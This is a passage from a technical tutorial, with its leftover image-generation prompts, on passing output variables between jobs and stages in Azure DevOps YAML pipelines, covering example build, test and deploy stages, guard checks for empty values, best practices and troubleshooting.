style=\"color:#ae81ff\"\u003eDockerfile\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#75715e\"\u003e# Use the tag set in the previous step — $(computeTag.imageTag) within same job\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003etags\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e$(computeTag.imageTag)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"step-2-integration-tests-stage--read-and-verify\"\u003eStep 2: Integration Tests stage — read and verify\u003c/h3\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Stage 2: Read the tag from BuildStage and verify the image before deploying\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#f92672\"\u003estage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eTestStage\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Integration Tests\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003edependsOn: BuildStage             # Required\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003epopulates stageDependencies.BuildStage\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003ejobs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ejob\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eIntegrationTests\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Verify image\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003epool\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003evmImage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eubuntu-latest\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003evariables\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#75715e\"\u003e# Map from BuildStage into this job\u0026#39;s local variable scope\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#75715e\"\u003e# Syntax: stageDependencies.StageName.JobName.outputs[\u0026#39;stepName.varName\u0026#39;]\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003eimageTag\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e$[ stageDependencies.BuildStage.BuildJob.outputs[\u0026#39;computeTag.imageTag\u0026#39;] ]\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: |\u003cspan style=\"color:#e6db74\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e        echo \u0026#34;Testing with image tag: $(imageTag)\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e        # Guard: fail early if the output variable did not propagate\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e        if [ -z \u0026#34;$(imageTag)\u0026#34; ]; then\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e          echo \u0026#34;##vso[task.logissue type=error]imageTag is empty — check BuildStage dependsOn declaration\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e          exit 1\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e        fi\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e        echo \u0026#34;Image $(imageTag) confirmed accessible\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Verify image tag is populated\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"step-3-deploy-stage--read-from-buildstage-directly\"\u003eStep 3: Deploy stage — read from BuildStage directly\u003c/h3\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Stage 3: Deploy using the tag from BuildStage — accessed directly, not relayed through TestStage\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#f92672\"\u003estage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eDeployStage\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Deploy\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003edependsOn\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#ae81ff\"\u003eBuildStage   \u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e# Direct dependency gives access to BuildStage\u0026#39;s output variables\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#ae81ff\"\u003eTestStage    \u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e# Execution dependency — ensures integration tests passed\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003econdition\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eand(succeeded(\u0026#39;BuildStage\u0026#39;), succeeded(\u0026#39;TestStage\u0026#39;))\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003ejobs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ejob\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eDeploy\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Deploy to production\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003epool\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003evmImage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eubuntu-latest\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003evariables\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#75715e\"\u003e# Access BuildStage\u0026#39;s output directly — TestStage does not need to re-export it\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003eimageTag\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e$[ stageDependencies.BuildStage.BuildJob.outputs[\u0026#39;computeTag.imageTag\u0026#39;] ]\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: |\u003cspan style=\"color:#e6db74\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e        echo \u0026#34;Deploying image: $(imageTag)\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e        if [ -z \u0026#34;$(imageTag)\u0026#34; ]; then\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e          echo \u0026#34;##vso[task.logissue type=error]imageTag is empty — check DeployStage dependsOn\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e          exit 1\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e        fi\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e        # az containerapp update --image myregistry.azurecr.io/myapp:$(imageTag) ...\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e        echo \u0026#34;Deployment of $(imageTag) complete\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Deploy image $(imageTag)\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"verification\"\u003eVerification\u003c/h3\u003e\n\u003cp\u003eRun the pipeline and check each stage:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\u003cstrong\u003eBuildStage\u003c/strong\u003e log: the \u003ccode\u003ecomputeTag\u003c/code\u003e step output shows \u003ccode\u003eImage tag: 12345-a1b2c3d\u003c/code\u003e. The Initialize Job log for downstream stages shows the variable in the \u003ccode\u003eoutputs\u003c/code\u003e section.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eTestStage\u003c/strong\u003e log: \u003ccode\u003e$(imageTag)\u003c/code\u003e resolves to \u003ccode\u003e12345-a1b2c3d\u003c/code\u003e, not the literal string or empty.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eDeployStage\u003c/strong\u003e log: \u003ccode\u003e$(imageTag)\u003c/code\u003e matches the value from BuildStage — not \u003ccode\u003elatest\u003c/code\u003e, not a hardcoded tag.\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003eTo confirm the reference is required: remove \u003ccode\u003eBuildStage\u003c/code\u003e from the Deploy stage\u0026rsquo;s \u003ccode\u003edependsOn\u003c/code\u003e list and re-run. The \u003ccode\u003e$(imageTag)\u003c/code\u003e in the Deploy stage resolves to empty string, proving the dependency declaration is what populates the \u003ccode\u003estageDependencies\u003c/code\u003e object.\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"best-practices-and-optimization\"\u003eBest Practices and Optimization\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eAlways set \u003ccode\u003ename:\u003c/code\u003e on the step that writes an output variable.\u003c/strong\u003e Make the name descriptive and stable. Renaming it later breaks every downstream reference silently. Treat the step name as a stable identifier.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eUse the variable mapping pattern to bridge into script scope.\u003c/strong\u003e The \u003ccode\u003e$[ dependencies... ]\u003c/code\u003e expression is evaluated only in \u003ccode\u003econdition:\u003c/code\u003e and \u003ccode\u003evariables:\u003c/code\u003e contexts. Map it into a job-level \u003ccode\u003evariables:\u003c/code\u003e entry, then access it via \u003ccode\u003e$(varName)\u003c/code\u003e in steps.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eValidate that the output variable is non-empty before using it.\u003c/strong\u003e A missing \u003ccode\u003edependsOn\u003c/code\u003e produces an empty string, not an error. Add a guard step:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e[\u003c/span\u003e -z \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003e$(\u003c/span\u003eimageTag\u003cspan style=\"color:#66d9ef\"\u003e)\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e]\u003c/span\u003e; \u003cspan style=\"color:#66d9ef\"\u003ethen\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  echo \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;##vso[task.logissue type=error]imageTag is empty — check dependsOn declaration\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  exit \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003efi\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eOr use it as a defensive condition:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003econdition\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eand(succeeded(), ne(dependencies.BuildJob.outputs[\u0026#39;computeTag.imageTag\u0026#39;], \u0026#39;\u0026#39;))\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003cstrong\u003eDeclare \u003ccode\u003edependsOn\u003c/code\u003e explicitly on every stage and job that needs an output variable.\u003c/strong\u003e Transitive access does not propagate \u003ccode\u003estageDependencies\u003c/code\u003e data — only stages you directly depend on appear in your \u003ccode\u003estageDependencies\u003c/code\u003e object.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eKeep output variable values small.\u003c/strong\u003e The value is serialized and stored as part of the pipeline run record. Use it for scalar identifiers (IDs, tags, flags, short strings). Serialize large structured data to a file and publish it as a pipeline artifact.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eMap secret output variables explicitly.\u003c/strong\u003e While log masking is automatic and global for secret variable values, they are not automatically mapped to environment variables. Map them in the \u003ccode\u003evariables:\u003c/code\u003e block of the consuming job to use them in scripts.\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"troubleshooting-common-issues\"\u003eTroubleshooting Common Issues\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eOutput variable reference resolves to empty string\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eCheck all four prerequisites in order:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003eThe producing step has a \u003ccode\u003ename:\u003c/code\u003e field — without it, the reference path has no valid step identifier.\u003c/li\u003e\n\u003cli\u003eThe consuming job or stage declares \u003ccode\u003edependsOn:\u003c/code\u003e on the producer — without it, the \u003ccode\u003edependencies\u003c/code\u003e/\u003ccode\u003estageDependencies\u003c/code\u003e object is not populated.\u003c/li\u003e\n\u003cli\u003eThe reference uses \u003ccode\u003estageDependencies\u003c/code\u003e for cross-stage references and \u003ccode\u003edependencies\u003c/code\u003e for same-stage references.\u003c/li\u003e\n\u003cli\u003eAll path components (job name, step name, variable name) match the YAML definitions exactly, including casing.\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003eAdd a diagnostic step that dumps the available dependency data:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Dump all available output variables for debugging\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eecho \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Dependencies context:\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eecho \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003e$(\u003c/span\u003econvertToJson\u003cspan style=\"color:#f92672\"\u003e(\u003c/span\u003edependencies\u003cspan style=\"color:#66d9ef\"\u003e)\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e)\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003cstrong\u003eOutput variable is visible within the producing job but not in the consuming job\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eThe \u003ccode\u003eisOutput=true\u003c/code\u003e flag was omitted from the \u003ccode\u003etask.setvariable\u003c/code\u003e command. Without it, the variable is job-scoped and does not appear in the \u003ccode\u003edependencies\u003c/code\u003e or \u003ccode\u003estageDependencies\u003c/code\u003e object.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Wrong: job-scoped only\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eecho \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;##vso[task.setvariable variable=imageTag]\u003c/span\u003e$IMAGE_TAG\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Correct: promoted to output variable namespace\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eecho \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;##vso[task.setvariable variable=imageTag;isOutput=true]\u003c/span\u003e$IMAGE_TAG\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003cstrong\u003eCross-stage output variable is empty despite correct \u003ccode\u003estageDependencies\u003c/code\u003e syntax\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eThe consuming stage\u0026rsquo;s \u003ccode\u003edependsOn:\u003c/code\u003e references the stage by \u003ccode\u003edisplayName:\u003c/code\u003e instead of the YAML \u003ccode\u003estage:\u003c/code\u003e key. All dependency declarations and reference paths require the \u003ccode\u003estage:\u003c/code\u003e key value.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Wrong: using displayName in dependsOn\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003edependsOn\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Build and Push\u0026#34;\u003c/span\u003e       \u003cspan style=\"color:#75715e\"\u003e# This is the displayName: value — fails\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Correct: using the stage: key value\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003edependsOn: BuildStage              # This is the stage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003ekey value — works\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003cstrong\u003eA matrix leg\u0026rsquo;s output variable is inaccessible — invalid characters in leg name\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eThe matrix leg name was generated from a property containing hyphens or dots (e.g., \u003ccode\u003enode-18.x\u003c/code\u003e). The reference accessor \u003ccode\u003eoutputs['legName.stepName.varName']\u003c/code\u003e treats dots as path separators. Use underscores only in matrix leg names.\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"key-takeaways\"\u003eKey Takeaways\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eAn output variable requires three things: the \u003ccode\u003e##vso[task.setvariable ...]\u003c/code\u003e logging command with \u003ccode\u003eisOutput=true\u003c/code\u003e, a \u003ccode\u003ename:\u003c/code\u003e field on the producing step, and successful step execution.\u003c/li\u003e\n\u003cli\u003eConsuming jobs need \u003ccode\u003edependsOn:\u003c/code\u003e on the producer for both execution ordering and access to the \u003ccode\u003edependencies\u003c/code\u003e or \u003ccode\u003estageDependencies\u003c/code\u003e object.\u003c/li\u003e\n\u003cli\u003eUse \u003ccode\u003edependencies\u003c/code\u003e for same-stage cross-job references and \u003ccode\u003estageDependencies\u003c/code\u003e for cross-stage references — using the wrong object produces an empty string silently.\u003c/li\u003e\n\u003cli\u003eThe variable mapping pattern (\u003ccode\u003evariables: myVar: $[ dependencies... ]\u003c/code\u003e) is required to make an output variable available to script steps via \u003ccode\u003e$(myVar)\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eWhen data is large or structured, use pipeline artifacts — output variables are for small scalar values (IDs, tags, flags, status strings).\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e\u003cstrong\u003eNext Steps:\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eAudit your multi-stage pipelines for any \u003ccode\u003edependencies\u003c/code\u003e references used in cross-stage contexts — replace with \u003ccode\u003estageDependencies\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eRead the Dynamic Matrix Strategies article for patterns combining matrix leg names with output variable references.\u003c/li\u003e\n\u003cli\u003eRead the Debugging Silent Pipeline Failures article for techniques to confirm root causes of empty variables.\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr\u003e\n\u003ch2 id=\"sources\"\u003eSources\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://learn.microsoft.com/en-us/azure/devops/pipelines/scripts/logging-commands?view=azure-devops#setvariable-initialize-or-modify-a-variable\"\u003eMicrosoft Learn: Logging commands — \u003ccode\u003etask.setvariable\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://learn.microsoft.com/en-us/azure/devops/pipelines/process/variables?view=azure-devops\u0026amp;tabs=yaml%2Cbatch#use-output-variables-from-tasks\"\u003eMicrosoft Learn: Use output variables from tasks\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://learn.microsoft.com/en-us/azure/devops/pipelines/process/expressions?view=azure-devops#stagedependencies-context\"\u003eMicrosoft Learn: \u003ccode\u003estageDependencies\u003c/code\u003e expression context\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/azure-pipelines-yaml/blob/master/design/pipeline-schema.md\"\u003eGitHub: Azure Pipelines YAML schema reference\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!--\n### Image Generation Prompts\n\n1. **Photorealistic / Cinematic:** A modern, dark server room with glowing blue and amber status lights. A single fiber optic cable is brightly lit, showing light pulsing through it from one server rack to another. The atmosphere is professional and sleek. Wide landscape format, 16:9 aspect ratio. Cinematic lighting with shallow depth of field.\n\n2. **3D Abstract / Isometric:** Isometric view of several floating 3D cubes representing jobs. Glowing translucent \"bridge\" connectors link the cubes together, with data packets (small glowing spheres) traveling across them. The cubes are organized in stages, separated by vertical dividers. Minimalist white and blue aesthetic. Wide landscape format, 16:9 aspect ratio.\n\n3. **Minimalist Vector / Flat:** A clean vector illustration showing a sequence of nodes (circles) connected by directional arrows. Each node has a \"tag\" icon. A specific arrow is highlighted in a vibrant color, showing the flow of an ID from one node to the next. Simple, professional color palette of blue, gray, and white. Wide landscape format, 16:9 aspect ratio.\n\n4. **Cyber-Industrial / Data Flow:** High-contrast image of bright data streams flowing through a network of pipes and junctions. The streams are labeled with tiny, glowing hexagonal nodes. The environment is dark and industrial, with a sense of high-speed information transfer. Wide landscape format, 16:9 aspect ratio.\n\n5. **Claymorphism / Soft 3D:** Soft, rounded 3D blocks representing stages. A glowing ribbon connects a block in the \"Build\" stage to a block in the \"Deploy\" stage. The blocks have a matte, clay-like texture. The lighting is soft and diffused, creating a friendly and modern 